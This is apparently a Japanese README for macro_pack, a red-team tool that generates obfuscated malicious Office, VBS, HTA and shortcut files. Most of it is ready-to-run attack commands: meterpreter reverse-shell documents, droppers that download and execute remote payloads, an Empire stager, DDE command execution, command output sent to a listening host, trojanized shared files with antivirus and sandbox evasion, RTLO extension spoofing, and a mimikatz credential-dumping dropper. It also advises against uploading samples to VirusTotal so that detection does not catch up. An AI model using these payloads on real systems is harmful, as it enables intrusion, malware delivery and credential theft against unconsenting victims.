
macro_packは、@EmericNasi氏によるツールで、ペンテスト、デモ、ソーシャルエンジニアリング評価用のOffice文書、VBスクリプト、ショートカット、その他の形式の難読化と生成を自動化するために使用されます。macro_packの目標は、エクスプロイトとマルウェア対策バイパスを簡素化し、悪意のあるマクロおよびスクリプトの生成から最終的な文書生成までのプロセスを自動化することです。また、レッドチームやセキュリティ研究に役立つ多くの便利な機能も提供します。
MacroPack Community は、MS Office ドキュメントや VBS のようなレトロな形式の難読化と生成を自動化するツールです。 また、さまざまなショートカット形式も処理します。 このツールは、レッドチーム演習、ペネトレーションテスト、デモ、ソーシャルエンジニアリング評価に使用できます。 MacroPack は、マルウェア対策ソリューションのバイパスを簡素化し、VB ソースから最終的な Office ドキュメントやその他のペイロードタイプまでのプロセスを自動化します。 使用は非常に簡単です:
このツールは、人気のペンテストツール(Metasploit、Empire など)で生成されたペイロードと互換性があります。 また、標準入力からデータを読み取り、別のツールに静かな出力を提供できるため、他のツールと簡単に組み合わせることができます。このツールは Python3 で書かれており、Linux と Windows の両方のプラットフォームで動作します。
注: Office ドキュメントの自動生成やトロイの木馬機能には、適切な MS Office アプリケーションがインストールされた Windows プラットフォームが必要です。

このツールは、さまざまな難読化手法をすべて自動で使用します。 難読化機能は、MacroPack で生成可能なすべての VBA および VBS ベースの形式と互換性があります。 基本の難読化(-o オプション)には以下が含まれます:
MacroPack は、いくつかの種類の MS Office ドキュメントおよびスクリプト形式を生成できます。 形式は、指定されたファイル拡張子に応じて自動的に推測されます。 ファイル生成は、--generate または -G オプションを使用して行います。 MacroPack プロバージョンでは、--trojan または -T オプションを使用して既存の Office ファイルにトロイの木馬を仕込むこともできます。
Ms Office サポート形式:
スクリプト(txt)サポート形式:
ショートカット/シェル サポート形式:
スクリプトとショートカット形式(LNK を除く)は、MacroPack の Linux バージョンでも生成できることに注意してください。
このソフトウェアは、レッドチーム演習、ペネトレーションテスト、フィッシングシミュレーション、セキュリティ研究、またはその他のセキュリティ評価の文脈において、システム所有者の合法的かつ正式な許可を得た場合にのみ使用する必要があります。 事前の同意なしにターゲットを攻撃するためにこのソフトウェアを使用することは禁止されており、違法です。 すべての適用される地方、州、連邦、国の法律を遵守するのはユーザーの責任です。 当社は、本ソフトウェアの使用により生じる可能性のある誤用や損害について一切の責任を負いません。
MacroPack のすべての機能とオプションが MacroPack Community で利用できるわけではありません。 オンラインで利用できるのはコミュニティバージョンのみです。 プロバージョンの機能は真にプロセスを「兵器化」するものであるため、そのアクセスはプロフェッショナルに制限されています。 プロモードには次のような機能が含まれます:
いくつかの短いデモ動画は BallisKit Vimeo チャンネル でご覧いただけます。
重要: MacroPack プロについて連絡したい場合は、私のメールアドレス emeric.nasi [at] sevagas.com を使用してください。 プロバージョンに関する匿名の問い合わせには回答しません。プロフェッショナルなメールのみ対応します。
### ソースからインストール
MacroPackをビルドするには、Windowsマシンを使用する必要があります。依存関係をダウンロードしてインストールしてください:```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
このツールはPython 3で動作していますので、python3のインストールを確認してください。例:```bash python3 macro_pack.py --help
python macro_pack.py --help # if python3 is default install
pyinstallerを使用してスタンドアロンexeを生成する場合:
* pyinstallerをインストール: pip install pyinstaller
* "build.bat"スクリプトをダブルクリックします。
生成されたmacro\_pack.exeは**bin**ディレクトリ内に配置されます。
## いくつかの例
### MacroPack Community
- サポートされているすべてのファイル形式を一覧表示する```bash
macro_pack.exe --listformats
- msfvenom によって生成された vba ファイルを難読化し、結果を新しい VBA ファイルに配置します。```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
- 難読化されたドロッパー(payload.exeをダウンロードしてdropped.exeとして保存する)を含むMS Excelファイルを生成する```bash
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
- powershell.exeを使用せずに、DROPPER_PSテンプレートを使ってEmpire Launcher stagerをダウンロードして実行する```bash
# 1 Generate a file containing Empire lauchcher
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/23fa8cfadc283a7abf02bde5fd10748c8c1d90bc3d977ee47024fe4e9d963824.png" alt="Excel DDE demo"></p>
- Dynamic Data Exchange (DDE)攻撃を使用して、PowerShellを介してファイルをダウンロードして実行する```bash
# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xslx
=cmd|' /c notepad.exe'!A1
macro_pack.exe -G dde.iqy
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/26c6e5a38eb09ae914c743b473890cef40632ccbd25bce0a895f9f4770377f7d.png" alt="IQYデモ"></p>
- 難読化されたmeterpreter reverse TCP VBSファイルを生成して実行する ```batch
# 1 Generate obfuscated VBS based on meterpreter template as well as Metasploit resource file
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machine Setup meterpreter listener
msfconsole -r meterpreter.rc
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta
macro_pack.exe -l . --port=1234
mshta.exe full/path/to/info.hta
- クリックするとローカルのHTAファイルを実行するURLショートカットを生成します```batch
echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url
### MacroPack Pro のいくつかの例
- 既存の共有 'report.xlsm' ファイルをドロッパーでトロイの木馬化します。アンチウイルスおよびアンチリバースエンジニアリング機能を使用します。```bash
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:\accounting\report.xls"
- リバース生シェルコードを含むPowerPointファイルをトロイの木馬化する。マクロは難読化および改変されており、AMSIとほとんどのアンチウイルスをバイパスする。```bash
echo beacon.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
REM Step 2: Generate document, for example here, meterpreter reverse TCP Excel file echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsm REM Step 3: Copy the document somewhere on remote share copy meter.xlsm "\192.168.0.8\c$\users\username\meter.xlsm" REM Step 4: Execute! macro_pack.exe --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
REM Step 2 to 4 in one step: echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\192.168.0.8\c$\users\username\meter.xlsm" --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
## すべてのコミュニティバージョンのオプション```
Main payload generation options:
-G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension.
MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files.
Note: Office payload generation requires that MS Office application is installed on the machine
--listformats View all file formats which can be generated by MacroPack
-f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats
If no input file is provided, input must be passed via stdin (using a pipe).
-t, --template=TEMPLATE_NAME Use code template already included in MacroPack
MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass
--listtemplates View all templates provided by MacroPack
-e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll.
Security bypass options:
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
--obfuscate-names-charset=<CHARSET> Set a charset for obfuscated variables and functions
Choose between: alpha, alphanum, complete or provide the list of char you want
--obfuscate-names-minlen=<len> Set min length of obfuscated variables and functions (default 8)
--obfuscate-names-maxlen=<len> Set max length of obfuscated variables and functions (default 20)
--uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates
Other options:
-q, --quiet Do not display anything on screen, just process request.
-p, --print Display result file on stdout (will display VBA for Office formats)
Combine this option with -q option to pipe result into another program
ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app
-s, --start-function=START_FUNCTION Entry point of macro file
Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function
--icon Path of generated file icon. Default is %windir%\system32\imageres.dll,67
--dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
This option is only compatible with Excel formats.
--run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations.
This will trigger AutoOpen/Workbook_Open automatically.
If no auto start function, use --start-function option to indicate which macro to run.
--unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers.
Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg
In this case, windows or linux explorers will show the file named as: somethingath.jpg
-l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80.
-w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH.
--port=PORT Specify the listening port for HTTP and WebDAV servers.
-h, --help Displays help and exit
テンプレートは -t, --template=TEMPLATE_NAME と他のオプションを組み合わせて呼び出すことができます。
以下は利用可能なすべてのテンプレートです。
単にhelloメッセージとマクロに関する注意喚起を表示します。
このテンプレートに作成者の名前またはメールアドレスを指定します:
-> 例: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
コマンドを実行します。
このテンプレートにコマンドラインを指定します。
-> 例 (xsltファイルからcalc.exeを起動): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
コマンドラインを実行し、結果をリモートHTTPサーバーに送信します。
このテンプレートにサーバーのURLと実行するコマンドを指定します:
-> 例: ```echo "http://192.168.0.5:7777" "dir /Q C:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc``````bash
nc -l -p 7777
### DROPPER
ファイルをダウンロードして実行します。
このテンプレートに、ファイルのURLとターゲットファイルのパスを指定します。
-> 例: ```echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls```
### DROPPER_PS
rundll32を使用してPowerShellスクリプトをダウンロードして実行します(powershell.exeがブロックされている場合の回避策)。
注: このペイロードはGithubからPowerShdllをダウンロードします。
実行したいPowerShellスクリプトのURLを指定します:
-> 例: ```echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc```
### DROPPER_DLL
別の拡張子を持つDLLをダウンロードし、Office VBAを使用して実行します。
-> 例: Officeを使用してmeterpreter DLLをロードする:```batch
REM Generate meterpreter dll payload
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll
REM Make it available on webserver, ex using netcat on port 6666
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1
REM Create OFfice file which will download DLL and call it
REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file
echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls
Meterpreter reverse TCP テンプレート(MacroMeter by Cn33liz 使用)。
このテンプレートは Cn33liz が構築した CSharp の meterpreter Stager で、James Forshaw の DotNetToJScript を用いて VBA に埋め込まれています。
テンプレートに、リッスンしている mfsconsole の IP と PORT を指定してください:
-> 例: echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
このテンプレートは、Metasploit ハンドラを作成するための meterpreter.rc ファイルも生成します。
-> 例: msfconsole -r meterpreter.rc
埋め込まれたファイルを展開・実行します。
--embed オプションと組み合わせると、埋め込まれたファイルをランダムな名前で TEMP フォルダに展開して実行します。
-> 例: macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs
--embed オプションと組み合わせて、指定された DLL 内の関数を展開・呼び出します。
テンプレートには、DLL 内で呼び出す関数の名前とパラメータを指定します。
-> 例1 : echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> 例2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
さまざまな機能は、ローカルにインストールされたアンチマルウェアソリューションやオンラインサービスに対してテストされています。
複数のペイロードと MacroPack の機能を用いて複数のテストを実行しました。
ほとんどのアンチウイルスの静的検知は、シンプルな「obfuscate」オプションで回避されます。
ただし、ほとんどの無料ツールと同様、ペイロードは AMSI などの動作解析によって一般的に検出されます。
MacroPack pro モードで利用可能な機能は、AMSI を含む完全な AV バイパスを通常可能にします。
警告: サンプルをオンラインスキャナ(VirusTotal など)に提出しないでください。ステルスマクロを壊す最善の方法です。
また、NoDistribute のような非報告サイトにも提出しないことをお勧めします。
これらのサイトが提出データをどう扱うか確信できません。macro_pack の AV 検出に問題がある場合は、アドバイスを求めて issue または pull request を提出してください。
MacroPack Pro に関するブログ記事:
MS Office、VBS、その他レトロなセキュリティに関するブログ記事:
その他の便利なリンク:
Twitter アカウント @EmericNasi でメッセージを送ってください。
メール:
重要: MacroPack Pro に関する連絡は、sevagas.com のメールアドレスを使用してください。
また、Pro バージョンに関する匿名の問い合わせには回答しません。プロフェッショナルなメールのみ対応します。
Copyright 2017,2018,2019,2020,2021,2022 Emeric “Sio” Nasi (blog.sevagas.com)